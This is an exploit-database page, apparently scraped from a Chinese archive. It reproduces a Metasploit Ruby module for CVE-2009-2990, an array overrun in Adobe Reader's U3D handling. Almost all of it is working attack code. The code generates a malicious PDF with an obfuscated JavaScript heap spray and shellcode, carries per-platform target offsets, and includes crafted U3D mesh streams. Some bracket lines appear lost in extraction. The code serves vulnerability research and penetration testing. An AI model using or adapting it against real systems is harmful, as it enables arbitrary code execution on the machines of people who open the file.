发布 2010-09-20 漏洞条目

Adobe – U3D CLODProgressiveMeshDeclaration Array Overrun (Metasploit) (1)

Exploit Source

# $Id: adobe_u3d_meshcont.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'zlib'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',

'Description' => %q{

This module exploits an array overflow in Adobe Reader and Adobe Acrobat.

Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a

specially crafted pdf that a contains malformed U3D data, an attacker may

be able to execute arbitrary code.

'License' => MSF_LICENSE,

'Author' =>

[

'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',

'jduck'

'Version' => '$Revision: 10394 $',

'References' =>

[

[ 'CVE', '2009-2990' ],

[ 'OSVDB', '58920' ],

[ 'BID', '36665' ],

[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],

[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload' =>

{

'Space' => 1024,

'BadChars' => "\x00",

'DisableNops' => true

'Targets' =>

[

# test results (on Windows XP SP3)

# reader 7.0.5 - untested

# reader 7.0.8 - untested

# reader 7.0.9 - untested

# reader 7.1.0 - untested

# reader 7.1.1 - untested

# reader 8.0.0 - untested

# reader 8.1.2 - works

# reader 8.1.3 - works

# reader 8.1.4 - untested

# reader 8.1.5 - untested

# reader 8.1.6 - untested

# reader 9.0.0 - untested

# reader 9.1.0 - works

[ 'Adobe Reader Windows Universal (JS Heap Spray)',

{

'Index' => 0x01d10000,

'Platform' => 'win',

'Arch' => ARCH_X86,

'escA' => 0x0f0f0f0f,

'escB' => 0x16161616,

'escC' => 0x1c1c1c1c

}

# untested

[ 'Adobe Reader Linux Universal (JS Heap Spray)',

{

'Index' => 0xfffffe3c,

'Platform' => 'linux',

'Arch' => ARCH_X86,

'escA' => 0x75797959,

'escB' => 0xa2a2a2a2,

'escC' => 0x9c9c9c9c

}

]

'DisclosureDate' => 'Oct 13 2009',

'DefaultTarget' => 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),

], self.class)

end

def exploit

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Make some nops

nops = Rex::Text.to_unescape(make_nops(4))

# prepare the pointers!

ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))

ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))

ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))

script = <<-EOF

var nopz = unescape("#{nops}");

function mkSlice(stringy,size,rest){

while (stringy.length <= size/2)

stringy += stringy;

stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);

return stringy;

};

function spray(escA,escB,escC,escShellcode){

var loop1;

var pointersA = unescape(escA);

var pointersB = unescape(escB);

var pointersC = unescape(escC);

var shellcode = unescape(escShellcode);

pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);

pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);

pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);

nop_slide = mkSlice(nopz,0x100000, shellcode.length);

var xarr = new Array();

for (loop1 = 0; loop1 < 400; loop1++) {

if(loop1<100)

xarr[loop1] = pointersA_slide+pointersA;

else if(loop1<200)

xarr[loop1] = pointersB_slide+pointersB;

else if(loop1<300)

xarr[loop1] = pointersC_slide+pointersC;

else

xarr[loop1] = nop_slide+shellcode;

}

return xarr;

};

var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");

this.pageNum = 1;

EOF

# Obfuscate it up a bit

script = obfuscate_js(script,

'Symbols' => {

'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },

'Methods' => %W{ mkSlice spray }

}).to_s

# create the u3d stuff

u3d = make_u3d_stream(target['Index'], "E" * 11)

# Create the pdf

pdf = make_pdf(script, u3d)

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf)

end

def obfuscate_js(javascript, opts)

js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)

js.obfuscate

return js

end

def RandomNonASCIIString(count)

result = ""

count.times do

result << (rand(128) + 128).chr

end

result

end

def ioDef(id)

"%d 0 obj\n" % id

end

def ioRef(id)

"%d 0 R" % id

end

#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/

def nObfu(str)

result = ""

str.scan(/./u) do |c|

if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'

result << "#%x" % c.unpack("C*")[0]

else

result << c

end

result

end

def ASCIIHexWhitespaceEncode(str)

result = ""

whitespace = ""

str.each_byte do |b|

result << whitespace << "%02x" % b

whitespace = " " * (rand(3) + 1)

end

result << ">"

end

def u3d_pad(str, char="\x00")

ret = ""

if (str.length % 4) > 0

ret << char * (4 - (str.length % 4))

end

return ret

end

def make_u3d_stream(index, meshname)

# build the U3D header (length will be patched in later)

hdr_data = [1,0].pack('n*') # version info

hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')

hdr = "U3D\x00"

hdr << [hdr_data.length,0].pack('VV')

hdr << hdr_data

# mesh declaration

decl_data = [meshname.length].pack('v')

decl_data << meshname

decl_data << [0].pack('V') # chain idx

# max mesh desc

decl_data << [0].pack('V') # mesh attrs

decl_data << [0xc322].pack('V') # face count

decl_data << [0x6226].pack('V') # position count

decl_data << [0x24966].pack('V') # normal count

decl_data << [0].pack('V') # diffuse color count

decl_data << [0].pack('V') # specular color count

decl_data << [0].pack('V') # texture coord count

decl_data << [1].pack('V') # shading count

# shading desc

decl_data << [0].pack('V') # shading attr

decl_data << [1].pack('V') # texture layer count

decl_data << [0].pack('V') # texture coord dimensions

decl_data << [0].pack('V') # original shading id

# minimum resolution

decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)

# quality factors

decl_data << [0x12c].pack('V') # position quality factor

decl_data << [0x12c].pack('V') # normal quality factor

decl_data << [0x12c].pack('V') # texture coord quality factor

# inverse quantiziation

decl_data << [0x3f0b1e6c].pack('V') # position inverse quant

decl_data << [0x3b6f05a6].pack('V') # normal inverse quant

decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant

decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant

decl_data << [0x3c2df54a].pack('V') # specular color inverse quant

# resource params

decl_data << [0x3f666666].pack('V') # normal crease param

decl_data << [0x3f000000].pack('V') # normal update param

decl_data << [0x3f7c28f6].pack('V') # normal tolerance param

# skeleton description

decl_data << [0].pack('V') # bone count

# padding

mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')

mesh_decl << decl_data

mesh_decl << u3d_pad(decl_data)

# build the modifier chain

chain_data = [meshname.length].pack('v')

chain_data << meshname

chain_data << [1].pack('V') # type (model resource)

chain_data << [0].pack('V') # attributes (no bounding info)

chain_data << u3d_pad(chain_data)

chain_data << [1].pack('V') # number of modifiers

chain_data << mesh_decl

modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')

modifier_chain << chain_data

# mesh continuation

cont_data = [meshname.length].pack('v')

cont_data << meshname

cont_data << [0].pack('V') # chain idx

cont_data << [0].pack('V') # start resolution

cont_data << [0x1000].pack('V') # end resolution

# 4096 continuation blocks

cont_data << [index].pack('V') # split position index

cont_data << [0].pack('v') # new diffuse color count

cont_data << [0].pack('v') # new specular color count

cont_data << [0].pack('v') # new text coord count

cont_data << [0].pack('V') # new face count

# unknown data

cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"

cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"

cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"

cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"

cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"

cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"

cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"

cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"

cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"

cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"

cont_data << "\xe9\x10\x9d\x6b\x06\x00"

cont_data << "\x50" # pad

mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')

mesh_cont << cont_data

#mesh_cont << u3d_pad(cont_data)

mesh_cont << "\xa2\x00" # manual padding

data = hdr

data << modifier_chain

data << mesh_cont

# patch the length

data[24,4] = [0x2b680].pack('V') # hardcode the data length

if index == 0x01d10000

#laziest hack ever! Another index must be found for using the following

# stream in windows.. and a lot of tests shoul be done.

return data

end

# linux version

# build the U3D header (length will be patched in later)

hdr_data = [1,0].pack('n*') # version info

hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')

meta_str1 = "alalala0"

meta_str2 = "\xa8" * 1024

hdr_meta = [1].pack('V')

hdr_meta << [meta_str1.length].pack('v')

hdr_meta << meta_str1

hdr_meta << [1].pack('V')

hdr_meta << [meta_str2.length].pack('V')

hdr_meta << meta_str2

hdr = "U3D\x00"

hdr << [hdr_data.length,hdr_meta.length].pack('VV')

hdr << hdr_data

hdr << hdr_meta

hdr << u3d_pad(hdr_meta)

# mesh declaration

decl_data = [meshname.length].pack('v')

decl_data << meshname

decl_data << [0].pack('V') # chain idx

# max mesh desc

decl_data << [0].pack('V') # mesh attrs

decl_data << [0xc322].pack('V') # face count

decl_data << [0x6626].pack('V') # position count

decl_data << [4].pack('V') # normal count

decl_data << [0].pack('V') # diffuse color count

decl_data << [0].pack('V') # specular color count

decl_data << [0].pack('V') # texture coord count

decl_data << [1].pack('V') # shading count

# shading desc

decl_data << [0].pack('V') # shading attr

decl_data << [0].pack('V') # texture layer count

decl_data << [0].pack('V') # original shading id

# no texture coord dimensions

decl_data << [0x64].pack('V') # minimum resolution

decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)

# quality factors

decl_data << [0x12c].pack('V') # position quality factor

decl_data << [0x12c].pack('V') # normal quality factor

decl_data << [0x12c].pack('V') # texture coord quality factor

# inverse quantiziation

decl_data << [0].pack('V') # position inverse quant

decl_data << [0].pack('V') # normal inverse quant

decl_data << [0].pack('V') # texture coord inverse quant

decl_data << [0].pack('V') # diffuse color inverse quant

decl_data << [0].pack('V') # specular color inverse quant

# resource params

decl_data << [0].pack('V') # normal crease param

decl_data << [0].pack('V') # normal update param

decl_data << [0].pack('V') # normal tolerance param

# skeleton description

decl_data << [0].pack('V') # bone count

# padding

mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')

mesh_decl << decl_data

mesh_decl << u3d_pad(decl_data)

# build the modifier chain

chain_data = [meshname.length].pack('v')

chain_data << meshname

chain_data << [1].pack('V') # type (model resource)

chain_data << [0].pack('V') # attributes (no bounding info)

chain_data << u3d_pad(chain_data)

chain_data << [1].pack('V') # number of modifiers

chain_data << mesh_decl

modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')

modifier_chain << chain_data

# mesh continuation

cont_data = [meshname.length].pack('v')

cont_data << meshname

cont_data << [0].pack('V') # chain idx

cont_data << [0].pack('V') # start resolution

cont_data << [0x100].pack('V') # end resolution

# 256 continuation blocks

cont_data << [index].pack('V') # split position index

# unknown data

cont_data << [1].pack('V') * 10

cont_data << "Feli" * 20

mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')

mesh_cont << cont_data

mesh_cont << u3d_pad(cont_data)

data = hdr

data << modifier_chain

data << mesh_cont

# patch the length

data[24,4] = [0x174].pack('V') # hardcode the data length

return data

end

def make_pdf(js, u3d_stream)

xref = []

eol = "\x0a"

obj_end = "" << eol << "endobj" << eol

# the header

pdf = "%PDF-1.7" << eol

# filename/comment

pdf << "%" << RandomNonASCIIString(4) << eol

# js stream

xref << pdf.length

compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))

pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol

pdf << "stream" << eol

pdf << compressed << eol

pdf << "endstream" << eol

pdf << obj_end

# catalog

xref << pdf.length

pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)

pdf << nObfu("/Pages ") << ioRef(5)

pdf << nObfu("/OpenAction ") << ioRef(8)

pdf << nObfu(">>")

pdf << obj_end

# outline

xref << pdf.length

pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")

pdf << obj_end

# kids

xref << pdf.length

pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")

pdf << ioRef(9) << " " # empty page

pdf << ioRef(10) # u3d page

pdf << nObfu("]>>")

pdf << obj_end

# u3d stream

xref << pdf.length

pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol

pdf << "stream" << eol

pdf << u3d_stream << eol

pdf << "endstream"

pdf << obj_end

# u3d annotation object

xref << pdf.length

pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")

pdf << "/3D/3DA <</A/PO/DIS/I>>"

pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")

pdf << obj_end

# js dict

xref << pdf.length

pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end

# page 0 (empty)

xref << pdf.length

pdf << ioDef(9) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")

pdf << nObfu(" >>")

pdf << obj_end

# page 1 (u3d)

xref << pdf.length

pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")

pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")

pdf << nObfu(">>")

pdf << obj_end

# xrefs

xrefPosition = pdf.length

pdf << "xref" << eol

pdf << "0 %d" % (xref.length + 1) << eol

pdf << "0000000000 65535 f" << eol

xref.each do |index|

pdf << "%010d 00000 n" % index << eol

end

# trailer

pdf << "trailer" << eol

pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol

pdf << "startxref" << eol

pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol

end

作者: Metasploit
日期: 2010-09-20
类别: remote
平台: multiple

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